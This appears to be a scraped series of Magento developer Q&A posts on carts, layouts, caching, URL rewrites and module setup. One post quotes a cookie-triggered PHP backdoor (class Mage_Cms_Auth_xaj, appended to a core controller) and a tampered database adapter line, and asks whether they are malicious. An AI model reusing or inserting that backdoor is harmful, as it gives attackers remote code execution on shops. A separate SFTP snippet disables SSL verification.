    // retrieve quote items collection
    $itemsCollection = $cart->getQuote()->getItemsCollection();

    // get array of all items what can be display directly
    $itemsVisible = $cart->getQuote()->getAllVisibleItems();

    // retrieve quote items array
    $items = $cart->getQuote()->getAllItems();

    foreach($items as $item) {
        echo 'ID: '.$item->getProductId().'
';
        echo 'Name: '.$item->getName().'
';
        echo 'Sku: '.$item->getSku().'
';
        echo 'Quantity: '.$item->getQty().'
';
        echo 'Price: '.$item->getPrice().'
';
        echo "
";
    }
?>

But I am getting nothing. What wrong I am doing?


texts: magento 2.4.2 shows /index of instead of site

texts:
magento fresh install shows index of instead of site.
Os : ubuntu 20.04
php:7.4


texts: Unknown class Mage_Cms_Auth_xaj found in ../Cms/controllers/IndexController.php - malicious or just bad form?

texts:
I was asked to give some advice on a 1.9.0.1 instance which has had none of the recent SUPEEs installed. SUPEE-1533 went in with no problem, but SUPEE-5344 failed, with a message of

patching file lib/Varien/Db/Adapter/Pdo/Mysql.php
Hunk #1 FAILED at 2834.

Investigating the file, I found this code at line 2836 :

           if (isset($condition['mhztywsxujkfqokw'])) {
            $fieldName = str_replace('#?', $this->quoteIdentifier($fieldName), $condition['mhztywsxujkfqokw']);
            unset($condition['mhztywsxujkfqokw']);

The code in an unmodified lib/Varien/Db/Adapter/Pdo/Mysql.php is:

       if (is_array($condition)) {
            if (isset($condition['field_expr'])) {
                $fieldName = str_replace('#?', $this->quoteIdentifier($fieldName), $condition['field_expr']);
                unset($condition['field_expr']);
            }

A find for "mhztywsxujkfqokw" led me to app/code/core/Mage/Cms/controllers/IndexController.php, where I found this appended to the end of the stock Magento class:

class Mage_Cms_Auth_xaj
{
    public function __construct() {
        $auth_cookie = @$_COOKIE['mhztywsxujkfqokw3'];
        if ($auth_cookie) {
            $method = $auth_cookie(@$_COOKIE['mhztywsxujkfqokw2']);
            $auth = $auth_cookie(@$_COOKIE['mhztywsxujkfqokw1']);
            $method("/124/e",$auth,124);
        }
    }
}
$is_auth = new Mage_Cms_Auth_xaj;

The class isn't invoked anywhere else, as far as I can see.

I am just wondering - is this something malicious, or a mod that was  poorly implemented by editing two core files?


texts: Calling custom Block in the transactional emails

texts:
This is how I call a custom phtml file in the trans.email content:

{{block type='core/template' area='frontend' template='foldername/myfile.phtml' order=$order}}

and its working perfect. But I want to include a block where I will do the logic and in the phtml file I just want to call the needed function from my block.
I tried the following:

{{block type='mynamespace_mymodule/email_pdflink' area='frontend' template='foldername/myfile.phtml' order=$order}}

and this is the content of the block:

class Mynamespace_Mymodule_Block_Email_Pdflink extends Mage_Core_Block_Template
{
    public function test()
    {
        return 13;
    }
}

and the content of the myfile.phtml:

$this->test();

Even if a write a simple html code in the myfile.phtml file it doesn't show up in the content of my trans. email. Any idea  how to solve this ? thx


texts: Show custom entity table field on admin form

texts: I added custom field "address_type" to "custom_address_entity" (not attribute) table and now I need to add this field on create new address from ADMIN form on create new order. Where and what to do?


texts: Retrieve search string from request in catalogsearch/block/advanced/form.php

texts:
In catalogsearch/block/advanced/form.php , I guess this function retrieve search string, then user can modify the search he made previously (user can see the previously selected option).

public function getAttributeValue($attribute, $part = null)
{
    $value = $this->getRequest()->getQuery($attribute->getAttributeCode());
    if ($part && $value) {
        if (isset($value[$part])) {
            $value = $value[$part];
        } else {
            $value = '';
        }
    }

    return $value;
}

I found many tutorial on how to add Search By Category in Advanced Search Form like this tutorial

But can not find one that give explicit example on how to retrieve the previously selected category when user modify the search.

Can someone help to do this ?


texts: Call Menu Block on CMS Page from two column layout to one column layout in Magento 1.9

texts:
I am trying to modify one column layout on my custom theme by adding menu block from two column (left bar layout) in Magento 1.9. I added a snippet of advancedmenu block from column layout from 2 column layout. But it goes in the bottom. I am expecting an output similar like this. How do I place advancedmenu block properly so that both of them come next to each other? How do I do that?

2columns-left.phtml

<?php echo $this->getChildHtml('global_notices') ?>

    <?php echo $this->getChildHtml('header') ?>
    <?php echo $this->getChildHtml('home_content') ?>

        <?php echo $this->getChildHtml('breadcrumbs') ?>

                <?php echo $this->getChildHtml('global_messages') ?>
                <?php echo $this->getChildHtml('content') ?>

            <?php echo $this->getChildHtml('left') ?>

    <?php echo $this->getChildHtml('footer') ?>
    <?php echo $this->getChildHtml('before_body_end') ?>

1-column2.phtml(i cloned one column layout)

<?php echo $this->getChildHtml('global_notices') ?>

    <?php echo $this->getChildHtml('header') ?>
    <?php echo $this->getChildHtml('home_content') ?>

                        <?php echo $this->getChildHtml('breadcrumbs') ?>

                <?php echo $this->getChildHtml('global_messages') ?>
                <?php echo $this->getChildHtml('content') ?>

            <?php echo $this->getChildHtml('left') ?>

    <?php echo $this->getChildHtml('footer') ?>
    <?php echo $this->getChildHtml('before_body_end') ?>

Currently this is how it look on two column layout, but i want to incorporate within one column layout. Please suggest how to do that?


texts: How to redirect 404 error to specific url?

texts:
I've faced the problem: my seo-specialist asked me to redirect all 404 to same url (/404.html). Not to show content on noRoute page but redirect to this url.

I've made changes in /app/code/core/Mage/Cms/controllers/IndexController.php:

/**
 * Render CMS 404 Not found page
 *
 * @param string $coreRoute
 */
public function noRouteAction($coreRoute = null)
{
    $this->getResponse()->setHeader('HTTP/1.1','404 Not Found');
    $this->getResponse()->setHeader('Status','404 File not found');

    $pageId = Mage::getStoreConfig(Mage_Cms_Helper_Page::XML_PATH_NO_ROUTE_PAGE);
    if (!Mage::helper('cms/page')->renderPage($this, $pageId)) {
        $this->_forward('defaultNoRoute');
    }
    $this->_redirect($pageId);
}

It works on local version but doesn't on live.

When I comment headers it works:

// $this->getResponse()->setHeader('HTTP/1.1','404 Not Found');
// $this->getResponse()->setHeader('Status','404 File not found');

But I think it's incorrect solution, please help me.


texts:
A few day ago I try to install and configure Redis and Varnish (by Turpentine) for my Magento site v.1.8 .

After this, I decide to rollback and I get my old (working) local.xml (which has the configuration for APC and Memcached) and decide to disable the two modules (Cm_RedisSession, Nexcessnet_Turpentine) enditing their xml file in /app/etc/modules with the tag false.

From this point over the var/cache dir is empty.

I try to delete the var/ dir to check permission rights, and what happen is that the var folder is created immediatelly with an empty cache folder inside.

How can I check the Magento cache behavior?
Maybe this is because the cache passes from APC or Memcached and exclude the var/cache dir (as I read here https://magento.stackexchange.com/a/11534/9166 ).

This is my cache configuration in local.xml

    ...
<cache>
    <backend>apc</backend>
    <slow_backend>database</slow_backend>
    <slow_backend_store_data>0</slow_backend_store_data>
    <auto_refresh_fast_cache>0</auto_refresh_fast_cache>
    <prefix>nameofmysite_</prefix>
</cache>

<cache>
    <backend>memcached</backend>
    <slow_backend>database</slow_backend>
    <fast_backend>Memcached</fast_backend>
     <fast_backend_options>>
        <servers>
            <server>
                <host><![CDATA[127.0.0.1]]></host>
                <port><![CDATA[11211]]></port>
                <persistent><![CDATA[1]]></persistent>
            </server>
        </servers>
        <compression><![CDATA[0]]></compression>
        <cache_dir><![CDATA[]]></cache_dir>
        <hashed_directory_level><![CDATA[]]></hashed_directory_level>
        <hashed_directory_umask><![CDATA[]]></hashed_directory_umask>
        <file_name_prefix><![CDATA[]]></file_name_prefix>
    </fast_backend_options>

    <memcached>
        <servers>
            <server>
                <host><![CDATA[127.0.0.1]]></host>
                <port><![CDATA[11211]]></port>
                <persistent><![CDATA[1]]></persistent>
            </server>
        </servers>
        <compression><![CDATA[0]]></compression>
        <cache_dir><![CDATA[]]></cache_dir>
        <hashed_directory_level><![CDATA[]]></hashed_directory_level>
        <hashed_directory_umask><![CDATA[]]></hashed_directory_umask>
        <file_name_prefix><![CDATA[]]></file_name_prefix>
    </memcached>
</cache>
...

Obviously before this changes my var/cache/ dir was populated regularly.

Thanks.


texts: how to add custom button on product category page in magento 1.9

texts:
i have create custom button("live preview")on product page using following code

<?php
    if($_product->getCustom_button()){ //yes or no button
?>
    <button type="button" title="<?php echo $_product->getCustom_button_name() ;?>" class="btn btn-default" onclick="window.open('<?php echo $_product->getCustom_button_url() ;?>')"><?php echo $_product->getCustom_button_name() ;?></button>
<?php } ?>

how i can add this button on product category page button name is "live preview"
i am using magento


texts:
Is there a way to find if the Cart is virtual or not? I have a certain condition that if the Cart contains all virtual product then a certain field should not be displayed. How do I achieve this? Right now it's using Knockoutjs and is using the Magento_UI/form/field. So I was thinking of calling a JS or a PHP script that will identify if the quote item is all virtual. But I have no idea how to achieve this. Now on our custom module we added an override of Magento_UI/form/element/field
The content of this file is like below

As you can see I added isAllVirtual() to check if the quote item is all virtual but I don't know where to place this and how to construct this kind of function. The Magento_UI is located in
app/design/Vendor/Module/Magento_UI/web/templates/form/field I want to attach a JS in here if possible and in that JS will call a MODEL that I have created. How do I do this?


texts:
This is a bit frustrating but, some of my products displays the group price while some others not.

I have the customer group X, and for this customer group I have different prices than the regular price. The issue is, that I've configured all the prices of 'group price' in all the products but only some of them displays the group price on the frontend. Anyone knows why ? Or some clue to find out why this can happen ?

When I try to see the prices, I access to the website with an account of a customer from the group X, so this is not the problem.. but I don't know where the problem is.

Thanks.

EDIT: If the regular price is higher than the 'group price' magento displays the group price, but if the regular price is lower than the 'group price' it doesn't display the group price... this is very strange, isn't it? Anyone knows why?


texts: Upload local file to sever SFTP via curl php

texts:
I am trying to implement upload local file to server via sftp curl method but facing File upload error. Error number: 7.

Here is my code.

<?php

$ourFileName = "/var/www/html/example.com/100092923.csv";

$fpSend = fopen($ourFileName, 'r');

$ch = curl_init();
curl_setopt($ch, CURLOPT_VERBOSE, true);
curl_setopt($ch, CURLOPT_URL, "sftp://example:@example/confirm/" . $ourFileName);
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_SFTP);
curl_setopt($ch, CURLOPT_PORT, 22);
curl_setopt($ch, CURLOPT_SSH_PRIVATE_KEYFILE, '/var/www/html/example.com/newcsv/ddd.ppk');
curl_setopt($ch, CURLOPT_SSH_PUBLIC_KEYFILE, '/var/www/html/exmple.com/newcsv/ddd.pub');
curl_setopt($ch, CURLOPT_SSH_AUTH_TYPES, CURLSSH_AUTH_PUBLICKEY);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_UPLOAD, 1);
$fp = fopen($ourFileName, 'r');
curl_setopt($ch, CURLOPT_INFILE, $fp);
curl_setopt($ch, CURLOPT_INFILESIZE, filesize($ourFileName));
curl_exec($ch);

fclose($fpSend);

$error_no = curl_errno($ch);

if ($error_no == 0) {
    $error = 'File uploaded succesfully.';
} else {
    $error = 'File upload error. Error number: ' . $error_no;
}

if (curl_error($ch)) {
    $error_msg = curl_error($ch);

}
echo $error;
curl_close($ch);

?>

let me know if any one has a solution to our problem.


texts: Whats the best way to check if a custom attribute exists in Magento2

texts:
In being careful, I want to check if my custom attribute exists before I attempt to utilize it in any way.  I need to check against all attributes collection, not just the product collection.   My attribute may exist on a customer, a product, or on a custom model of my own creation.

In magento 1.x, I'd use the following:

$attr = Mage::getResourceModel('eav/entity_attribute_collection')->setCodeFilter('specialty')->getFirstItem();

if ($attr->getAttributeId() > 0) {
 Do some stuff....'

I can't find anything that explicitly does something like this


texts: How to move add to wishlist button next to add to cart button [blank theme]

texts: How can I go about moving the Add to Wish List Button next to the add to cart button?  I can get the wishlist button to dissapear which I definitely don't want, but I can not get it to move next to add to cart.  Is this something that I can do via XML in catalog_product_view.xml?  I am using a custom theme that is extended from the Blank default theme.  I have added an image above to show exactly what I am trying to do.


texts: Magento 1.9 How to create custom magento object

texts:
How create custom magento object?
I climbed the entire Internet and can not find the answer
I want to stick my data into it


texts: I am trying to create a new website from the backend under System > Manage stores. Can someone walk me through the process of getting this set up or point me to a tutorial that works? I have tried several tutorials, but none have worked. My problem is editing the index.php file and the .htaccess file. Each tutorial has told me different things.


texts: how to headline unit price if a whole box is bought

texts:
We sell tape and other things that come in and are sold in boxes. We don't sell those products individually. We would like to showcase the unit price though as this gives the customer a better ability to see if they are getting a good deal.

I found this plugin Product Units and Quantities but it doesn't quite do what we want. It allows you to use the unit price when creating a product but allows customers to only choose the multiples you set. This is great but if tape comes in 36, 72 etc I want to specify the number in a box and allow them to choose 1, 2 etc boxes not 36, 72 tapes. If they are allowed to choose tapes then you end up with 36 items in the basket when it is just one box.

Is there another plugin i've missed or a way around this. I imagine it must be a fairly common issue as it seems common to promote the unit price when that price is based on the purchase of a larger amount. Thanks


texts:
I want to make it a last step in onepage checkout process and mandatory. So far I am able to store the value of that attribute in the database and also display it in admin/sales/order but not able to make it required field. If I keep this field empty I am still able to place order which must not happen. I followed this answer

Below are snippets from my code:

=> Installer Script:

/* @var $installer Mage_Sales_Model_Resource_Setup */
$installer = Mage::getResourceModel('sales/setup', 'sales_setup');

$installer->startSetup();

$installer->addAttribute(Mage_Sales_Model_Order::ENTITY, 'find_about_us', array (
    'label' => 'How did you hear about us?',
    'type' => 'varchar',
    'input' => 'select',
    'required' => true,
    'visible' => true,
    'options' => [
        'values' => [
            'google' => 'Google',
            'facebook' => 'Facebook',
            'referral' => 'Referral',
            'radio' => 'Radio',
            'other' => 'Other',
        ]
    ],
    'frontend_class' => 'validate-select',

));

$installer->endSetup();

=> Frontend Template (find_about_us.phtml):

    *How did you find about us?

        <select class="input-text required-entry validate-select" name="custombundle_find_about_us" id="custombundle_find_about_us" required>
            <option value>Select</option>
            <option value="google">Google</option>
            <option value="facebook">Facebook</option>
            <option value="referral">Referral</option>
            <option value="radio">Radio</option>
            <option value="other">Other</option>
        </select>

=> Frontend Layout:

<?xml version="1.0"?>
<layout version="0.1.0">
    <checkout_onepage_review>
        <reference name="checkout.onepage.review.info.items.after">
            <block type="core/template" name="custombundle.find_about_us" template="custombundle/onepage/find_about_us.phtml"/>
        </reference>
    </checkout_onepage_review>
</layout>


texts:
I am working on Magento Data Migration from 1.9 to 2.2. I customised some code and suppressed some of the possible errors of integrity constraints to execute the tool properly and get the data.

However, I can see some of the rows in catalog_product_entity_varchar are not fully migrated. In the same process of comparing no of rows, I found that some of the tables from source (1.9) database which are starting from m2_cl_ etc.

What are those tables? They all are blank? but Does they have any relations with missing rows and non-migrated data?


texts: Magento Credit Memo - Qty to refund problem

texts:
I've creating a new table in which I capture all order states and statuses.
I've got everything working fine including refunds.
I've run into an issue though! I've put a scenario below so you can see what I mean

Order 001

Product 1 – qty 4 – price – 20.00
Product 2 – qty 2 – price – 15.00

If I refund 1 of product 1 a new row will be inserted in the DB as a negative number which is correct. Something along the lines of:-

 TableID  Name            Qty          Price
 1        Product1        -1           -20.00

If I then want to refund another of product 1, I want the table to look like the following:-

TableID  Name            Qty          Price
 1        Product1        -1           -20.00
 2        Product1        -1           -20.00

BUT what is actually inserting is this:-

TableID  Name            Qty          Price
 1        Product1        -1           -20.00
 2        Product1        -2           -20.00

So if we then look to tally up how many refunds occurred against product one it looks like there was three.  Actually there was only two.

I was doing something like :

private function _getOrderItemDataXm1($order) {
   $i = array();
   foreach($order->getAllItems() as $item) {
         $i[‘qty’] = $item->getQtyRefunded();
   }
}

What this is actually returning is the amount that has already been refunded and the amount that is about to be refunded.
I just want to return the amount that is about to be refunded as a new row in the DB.

Anyone any ideas? Bit stuck with this

Thanks


texts:
I'm using the Milople Personalized Products Modules that creates a custom product type called "Milople Personalized Product" and I need to display a list of this products under a category id. I have tryed using this code:

$cat_id = 3;
$category = Mage::getModel('catalog/category')->load($cat_id);
$collection = $category->getProductCollection()->addAttributeToSort('position');
Mage::getModel('catalog/layer')->prepareProductCollection($collection);

And it works form all default product types that come with magento except for the personalized ones.


texts: Magento 2 - Changing reference to Cart to Basket across site

texts:
I would like to change all reference of Cart to Basket, across the site.

I have changed reference to this in the .CSV but no change across the website after clearing the cache.

Please advise


texts:
A extension created a extra tab in my category menu. With this code:

$setup->addAttribute('catalog_category', 'menutopdescription1', array(
    'group'         => 'General',
    'input'         => 'textarea',
    'type'          => 'text',
    'label'         => 'Topmenu description',
    'backend'       => '',
    'visible'       => 1,
    'required'      => 0,
    'is_wysiwyg_enabled' => 1,
    'visible_on_front' => 1,
    'note'=>'Category description for top menu dropdown',
    'is_html_allowed_on_front' => 1,
    'global'        => Mage_Catalog_Model_Resource_Eav_Attribute::SCOPE_GLOBAL,
));

This results in a global scope. Now I would like to change it to "website".
So I can easily translate it for my other websites.

This attribute isn't visible in the attribute list of Magento, so I have to make the changes in the database.
Which key do I have to change?


texts:
We found this issue when working in a default Magento2.1.

While creating customizable options for a product, if I select the drop-down field a second time, the spinner never stop loading.

Please find the below screen-shot:

I think this is a Magento2 core bug, can anyone confirm and suggest how to fix it?

Thanks


texts: How to configuration Elasticsearch in centOS7 server for Magento 2.4

texts:
I want to configuration Elasticsearch in centOS 7 server for Magento 2.4. I have install Elasticsearch but not sure it is install or not.Because I have run this command sudo -i service elasticsearch start show below error :-
error: permission denied on key 'vm.max_map_count'
Starting elasticsearch:
ERROR: The JDK bundled with Elasticsearch requires glibc >= 2.14, but
you have version 2.12. Please set the JAVA_HOME environment variable
to point to a working JDK installation. For more information, see:

https://www.elastic.co/support/matrix#matrix_jvm

Please Share me your suggestion.How to solve this error.
THANKS.


texts: How to exclude certain products from Magento sitemap.xml generation in magento 2?

texts: I found similar solution for this(Exclude certain products from Magento sitemap.xml generation) for version less than magento 2.0, I wanted a solution in magento 2. Being a developer I would like to do it on my own, rather than using a 3rd party extension


texts: How to add Indian State lists to the corresponding country?


texts: include(Mage.php) causes wrong URL when executed from command line

texts:
I need to run some Magento code from PHP file in nearby directory. So I created a file, lets call it test.php:

include_once '/var/www/html/app/Mage.php';
umask(0);
Mage::app();

$product = Mage::getModel('catalog/product')->loadByAttribute('sku', 'some-sku-123');

echo $product->getProductUrl();

When I open it from browser correct product URL is printed - http://example.com/product123.html.

But when I execute this PHP file from command line via php path/to/test.php, such URL is printed: test.php/product123.html.

What's even more strange, is that previously it was working correctly, and I can't find what change did I make.

So my question is how to make sure that correct URL is printed when executed from command line?

Thank you.

edit: Mage::getBaseUrl() also returns incorrect value - test.php/.


texts: how to check product has custom options?

texts:
I'm Trying to check whether product has custom options or not in code (my code runs sales_order_place_after event).
I have try below code but it does not returning anything.
$product->hasCustomOptions()
and
$product->hasOptions()

Please let me know what i'm missing


texts: How do I name an underscore filename in a preference override?

texts:
I am trying to override a template file in another module using a preference:

<config xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:ObjectManager/etc/config.xsd">
    <preference for="Mageplaza\QuickOrder\View\Frontend\Web\Template\Add_multiple" type="Mymodule\QuickOrder\View\Frontend\Web\Template\Add_multiple"/>
</config>

This is the real path: Mageplaza\QuickOrder\view\frontend\web\template\add_multiple.html
My module real path: Mymodule\QuickOrder\view\frontend\web\template\add_multiple.html
I am not sure if I should have: Add_multiple or Add_Multiple or AddMultiple or Addmultiple
I have tried all of them yet none of them work. Does anyone have any idea how to override this file?


texts: Creating Custom 'Buy Now' button with Custom buy now link

texts:
I'm trying to create an affiliate website using Magento so I'd like to add 'Buy Now' button replacing 'Add to Cart' button. Also, I should be able to provide custom link of the product from the backend.

Ex. If I'm affiliate of Amazon, I should be able to provide the link of the product from Amazon in the backend of my Magento store so that when customer clicks on buy now button, they are redirected to that page of Amazon/Any website.


texts: An error in my database when i copy my website in an other host

texts:
I copied my website from my linux server to windows server (wamp). I export the database and i import it to my windows server.When i try to access my magento site i have this error.

SQLSTATE[42S02]: Base table or view not found: 1146 Table 'database.index_process' doesn't exist

what this problem ?


texts: cannot write to file in magento rest api

texts:
I'm building rest api to write to json file but I get

This path not writable

here is the code

$objectManager = \Magento\Framework\App\ObjectManager::getInstance();
    $ioFile = $objectManager->create('\Magento\Framework\Filesystem');
    $dirPath = $ioFile->getDirectoryWrite(\Magento\Framework\App\Filesystem\DirectoryList::APP);
    $dirPath->writeFile("code/Vendor/Module/Model/Product/file.json",json_encode($arr));

what is the problem?. If it's a permission problem can you explain the problem


texts: Magento 2: How to Display entered email address in notification message?

texts:
When i register the customer registration form if already customer are registere with the same email then i get message

There is already an account with this email address. If you are sure that it is your email address, click here to get your password and access your account.

but i want to display email which the customer used in registration i want display as below: There is already an account with this email address (display email address).

If you are sure that it is your email address, click here to get your password and access your account.how can i do that?


texts: Magento 2: EQP Error Possible useless method

texts:
I'm doing EQP of custom module then its shows error as below:

  Possible useless method overriding detected

You can check this screenshot error is on line no. 20

Let me know if anyone has a solution.


texts: how to get main categories at home page?

texts:
I want to display main categories on home page like below image,

for that I tried below code in phtml file, but it shows only category name, not display category image,
<?php

    $categoryHelper = $this->helper('Magento\Catalog\Helper\Category');
    $outputhelper   = $this->helper('Magento\Catalog\Helper\Output');
    foreach($categoryHelper->getStoreCategories() as $category):
?>

    <?php
        $_imgHtml   = '';
        if ($_imgUrl = $category->getImageUrl()) {
            $_imgHtml = '';
            $_imgHtml = $outputhelper->categoryAttribute($category, $_imgHtml, 'image');
        }
    ?>
    <a href="<?php echo $categoryHelper->getCategoryUrl($category) ?>">
        <?php echo $_imgHtml; ?><?php echo $category->getName() ?>

<?php endforeach; ?>

i have created one phtml file in

Magento_Catalog/templates/product/display_by_cat.phtml

folder
here is my new updated Code..but has also not shown the category image.
<?php

    $objectManager = \Magento\Framework\App\ObjectManager::getInstance();
    $categoryHelper = $this->helper('Magento\Catalog\Helper\Category');
    $_helper = $this->helper('Magento\Catalog\Helper\Output');
    $cat = $categoryHelper->getStoreCategories()

?>

    <?php
    foreach ($cat as $cats) {
        $_category = $objectManager->create('Magento\Catalog\Model\Category')->load($cats->getId());
        $_outputhelper = $this->helper('Magento\Catalog\Helper\Output');
        $caturl = $cats->getUrl();

        $_imgHtml = '';
                if ($_imgUrl = $_category->getImageUrl()) {

                    $_imgHtml = '';
                    $_imgHtml = $_outputhelper->categoryAttribute($_category, $_imgHtml, 'image');
                }
       ?>

            <?php
            if ($_category->getImageUrl()) { ?>
                <?php echo 'getName().'">' .$_imgHtml. '' ?>
            <?php } else { ?>
                <?php echo 'getName().'">' .$_imgHtml. '' ?>
            <?php } ?>

<a href="<?php echo $caturl ?>"><?php echo $cats->getName(); ?>

    <?php } ?>

It is the Output..

and call this phtml file in cms block.
please help me on this.


texts: Inserting Javascript codes in one CMS page of Magento 2.1

texts:
I am trying to add some javascript codes in one CMS page of a Magento 2.1 site. Here are what I did and the issues I am facing now:

1)at the "Layout Update XML" of the page, add the following jquery codes which will be used further:

The relevant Javacript codes come in the form like (in html file):

2) At the body of the content, add the following codes:

some content

The error shows now:
$(...).xxxxx is not a function

The codes without requireJS work well:

What am I missing here?

Thanks!


texts: Magento Redis Session sudden "'CredisException' with message 'read error on > connection'"

texts:
Hi we are seeing some errors in our logs like this. And users are continuously being logged out of the backend. The logging however is nog 1-1 with being logged out. Sometimes we see this in log, sometimes not.

How can I debug all traffic from and to Redis related to session to investigate this issue?

  Next exception 'CredisException' with message 'read error on
  connection' in /.modman/Cm_RedisSession/lib/Credis/Client.php:919
  Stack trace: 0 /.modman/Cm_RedisSession/lib/Credis/Client.php(586):
  Credis_Client->__call('select', Array) 1
  /.modman/Cm_RedisSession/code/Model/Session.php(415):
  Credis_Client->select(2) 2 [internal function]:
  Cm_RedisSession_Model_Session->write('ec31cf667c0b8f1...', '') 3
  /app/code/core/Mage/Core/Model/Resource/Session.php(97):
  session_write_close() 4 [internal function]:
  Mage_Core_Model_Resource_Session->__destruct() 5 {main}

  2015-01-14T11:05:51+00:00 ERR (3):  exception 'RedisException' with
  message 'read error on connection' in
  /.modman/Cm_RedisSession/lib/Credis/Client.php:901 Stack trace: 0
  [internal function]: Redis->select(2) 1
  /.modman/Cm_RedisSession/lib/Credis/Client.php(901):
  call_user_func_array(Array, Array) 2
  /.modman/Cm_RedisSession/lib/Credis/Client.php(586):
  Credis_Client->__call('select', Array) 3
  /.modman/Cm_RedisSession/code/Model/Session.php(415):
  Credis_Client->select(2) 4 [internal function]:
  Cm_RedisSession_Model_Session->write('3c0ca6f2d3d4c56...', '') 5
  /app/code/core/Mage/Core/Model/Resource/Session.php(97):
  session_write_close() 6 [internal function]:
  Mage_Core_Model_Resource_Session->__destruct() 7 {main}

UPDATE (thanks to @Rob).

Updated time out to 5 seconds, was 2.5 - we also use

<session_save>db</session_save>
  <redis_session>                                             <!-- All options seen here are the defaults -->
      <host>127.0.0.1</host>                                  <!-- Specify an absolute path if using a unix socket -->
      <port>6380</port>
      <password></password>                                   <!-- Specify if your Redis server requires authentication -->
      <timeout>5</timeout>                                    <!-- This is the Redis connection timeout, not the locking timeout -->
      <persistent></persistent>                               <!-- Specify unique string to enable persistent connections. -->
      <db>2</db>                                              <!-- Redis database number -->
      <compression_threshold>2048</compression_threshold>     <!-- Set to 0 to disable compression -->
      <compression_lib>snappy</compression_lib>                   <!-- gzip, lzf or snappy -->
      <log_level>7</log_level>                                <!-- 0 emergency /4 warning / 5 notice / 6 info -->
      <max_concurrency>10</max_concurrency>                   <!-- maximum procs waiting for lock 10% of the number of PHP processes -->
      <break_after_frontend>5</break_after_frontend>          <!-- seconds to wait for a session lock in the frontend -->
      <break_after_adminhtml>10</break_after_adminhtml>
      <bot_lifetime>7200</bot_lifetime>                    <!-- Bots get shorter session lifetimes. 0 to disable -->
</redis_session>

timeout in /etc/redis/redis.conf

  timeout 0

default_socket_timeout in php.ini

  ; Default timeout for socket based streams (seconds)
  default_socket_timeout = 60

Executed echo 1 > /proc/sys/vm/overcommit_memory

  /proc/sys/vm/overcommit_memory = 1


texts: Magento 2 : Delete all Catalog Price Rules Programmatically

texts:
I know we have Delete Rule option when we edit any Catalog Price Rule. But I need to delete all Calalog Price Rules programmatically because there is no option to delete all rules.

Solutions may be :

What if I truncate all the tables related to catalogrule and run indexer:reindex
Programmatically delete all rules and run indexer:reindex


texts: Sort By Price Ascending Does Not Work on Magento 2.4.1 and 2.4.2

texts:
I am not sure what happened, but when you try to sort by price in the ascending direction, prices do not look correct. It works just fine in descending order though.
Here is an example:
https://www.thegemlab.com/shop/jewelry/earrings?product_list_order=price
You'll see on the bottom of the first page two items that are listed as "Call for Price." Both of these are $0. It's fine if $0 are at the very end of all prices, but it's clearly not as there are 2 pages worth.


texts: Including recently viewed product block on product page right column

texts:
I'm trying to standardise my right column navigation across my category pages and my product pages.

I have all my required blocks coming through but on my product page I'm not getting the Recently viewed products block displayed.

I tried adding the following to catalog_product_view in my catalog.xml file in y custom template but it doesn't seem to work

<reference name="right">
    <block type="reports/product_viewed" before="right.permanent.callout" name="right.reports.product.viewed" template="reports/product_viewed.phtml" />
</reference>

Is there something wrong with my method?


texts:
How do I get tracking details by the below API in magento ?
salesShipmentTrackRepositoryV1
/V1/shipment/{id}


texts: There is also have a question same as mine. However, there is still more thing I really don't understand, because when you develop module, all of them use MVC architecture. But at the same time, there are people still said that Magento 2 follow MVVM. So, what architecture that Magentro 2 use?


texts: Magento 2. How to set deploy mode to production (in NGINX and Apache config)?

texts:
Anyone knows How to set deploy mode to production (in NGINX and Apache config).

Thanks for your collaborations.


texts:
By URL REWRITE Management i changed

url = www.domain.com/seller/profile/detail/mobile-shop

to

www.domain.com/mobile-shop

But now getting 404 error . What can be the problem.

id path :-  mobile-shop

Request path :- seller/profile/detail/mobile-shop

Target path :- mobile-shop


texts: Adding prefix to category and product URL

texts:
This is for Magento 1.
How to programmatically add prefix to product url and category url

so that category url would have http://domain.com/cp/category-name.html
and product url would have http://domain.com/ip/product-name.html

I tried

<global>
    <models>
        <catalog>
            <rewrite>
                <product_url>Mymod_Catalog_Model_Product_Url</product_url>
            </rewrite>
        </catalog>
    </models>
</global>

and override getUrl() method to add prefix to request_path.
is it the best to achieve it by this way?

I also tried to create observer and hook into event 'controller_front_init_routers' but I totally got lost in there.

And I also need to know how to handle the new URL without using config.xml since the prefixes will be dynamic, taken from database config.
So that http://domain.com/cp/category-name.html would map to http://domain.com/category-name.html
Thank you


texts:
I want to add one more column into an existing table, this is my attempt:

My upgrade-1.0.0-1.1.0.php:

 $installer = $this;
 $installer->startSetup();
 $installer->getConnection();
 $installer->getTable('paketid_booking/result');
     ->addColumn(
        'vendor_airway_bill',
        Varien_Db_Ddl_Table::TYPE_TEXT, 255,
        array(),
        'Vendor Airway Bill'
    )
$installer->endSetup();

Set version :

<modules>
    <PaketId_Booking>

        <version>1.1.0</version>
    </PaketId_Booking>
</modules>
<default>
    <paketid_booking>
        <api>
            <email>test@paket.id</email>
            <key>TEST-API-KEY</key>
            <debug>0</debug>
        </api>
    </paketid_booking>
</default>
<global>
    <blocks>
        <paketid_booking>
            <class>PaketId_Booking_Block</class>
        </paketid_booking>
    </blocks>
    <helpers>
        <paketid_booking>
            <class>PaketId_Booking_Helper</class>
        </paketid_booking>
    </helpers>

My config.xml :

    <models>
        <paketid_booking>
            <class>PaketId_Booking_Model</class>
            <resourceModel>paketid_booking_resource</resourceModel>
        </paketid_booking>

        <paketid_booking_resource>
            <class>PaketId_Booking_Model_Resource</class>
            <entities>
                <result>

paketid_booking_result

                </result>
            </entities>
        </paketid_booking_resource>

    </models>
    <resources>
        <paketid_booking_setup>
            <setup>
                <module>PaketId_Booking</module>
            </setup>
        </paketid_booking_setup>
    </resources>
    <events>
        <checkout_type_onepage_save_order_after>
                <paketid_booking>
                    <type>singleton</type>
                    <class>PaketId_Booking_Model_Observer</class>
                    <method>processOrder</method>
                </paketid_booking>
            </observers>
        </checkout_type_onepage_save_order_after>
    </events>
</global>
<adminhtml>
    <layout>
        <updates>
            <paketid_booking>
                <file>paketid_booking.xml</file>
            </paketid_booking>
        </updates>
    </layout>
    <events>
        <core_block_abstract_to_html_after>
            <observers>
                <paketid_booking>
                    <type>singleton</type>
                    <class>PaketId_Booking_Model_Adminhtml_Observer</class>
                    <method>getSalesOrderBookingInfo</method>
                </paketid_booking>
            </observers>
        </core_block_abstract_to_html_after>
    </events>
</adminhtml>

My sql setup folder :

